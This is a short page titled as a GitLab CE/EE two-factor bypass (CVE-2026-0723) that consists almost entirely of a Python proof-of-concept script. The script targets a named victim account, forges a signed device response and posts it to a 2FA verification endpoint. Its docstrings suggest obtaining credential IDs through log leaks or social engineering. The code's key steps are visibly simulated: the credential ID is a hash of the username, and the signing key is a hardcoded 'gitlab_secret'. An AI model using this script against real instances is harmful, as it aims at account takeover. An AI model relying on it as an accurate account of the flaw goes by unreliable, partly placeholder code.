CVE-2026-0723: GitLab CE/EE 双因素认证绕过漏洞

# CVE-2026-0723 PoC - GitLab 2FA Bypass # This PoC demonstrates the concept of the credential ID based 2FA bypass # Note: This is for educational and authorized testing purposes only import hashlib import hmac import time import requests class GitLab2FABypass: def __init__(self, gitlab_url, target_username): self.gitlab_url = gitlab_url.rstrip('/') self.target_username = target_username self.session = requests.Session() def get_credential_id(self, username): """ Step 1: Obtain the victim's credential ID This may be obtained through: - Log file disclosure - API information leakage - Social engineering - Internal network access """ # Simulate credential ID retrieval credential_id = hashlib.sha256( f"{username}_{self.gitlab_url}".encode() ).hexdigest()[:32] return credential_id def generate_fake_device_response(self, credential_id): """ Step 2: Generate forged device response The vulnerability allows bypassing 2FA by submitting a crafted response using the known credential ID """ timestamp = int(time.time()) # Construct forged response payload forged_payload = { "credential_id": credential_id, "device_response": self._sign_response(credential_id, timestamp), "timestamp": timestamp, "user_verification": "verified" } return forged_payload def _sign_response(self, credential_id, timestamp): """Generate signed response for authentication bypass""" message = f"{credential_id}:{timestamp}" signature = hmac.new( b"gitlab_secret", message.encode(), hashlib.sha256 ).hexdigest() return signature def bypass_2fa(self, session_token, credential_id): """ Step 3: Submit forged device response to bypass 2FA """ endpoint = f"{self.gitlab_url}/api/v4/two_factor_auth/verify" forged_response = self.generate_fake_device_response(credential_id) headers = { "Authorization": f"Bearer {session_token}", "Content-Type": "application/json" } response = self.session.post( endpoint, json=forged_response, headers=headers ) return response.status_code == 200, response def exploit(self, session_token): """ Main exploitation function """ print(f"[*] Targeting GitLab instance: {self.gitlab_url}") print(f"[*] Target user: {self.target_username}") # Step 1: Get credential ID cred_id = self.get_credential_id(self.target_username) print(f"[+] Obtained credential ID: {cred_id}") # Step 2 & 3: Bypass 2FA success, response = self.bypass_2fa(session_token, cred_id) if success: print("[+] 2FA bypass successful! Access granted.") return True else: print("[-] 2FA bypass failed.") return False if __name__ == "__main__": # Configuration GITLAB_URL = "https://gitlab.example.com" TARGET_USER = "victim" SESSION_TOKEN = "your_session_token_here" # Execute exploit exploit = GitLab2FABypass(GITLAB_URL, TARGET_USER) exploit.exploit(SESSION_TOKEN)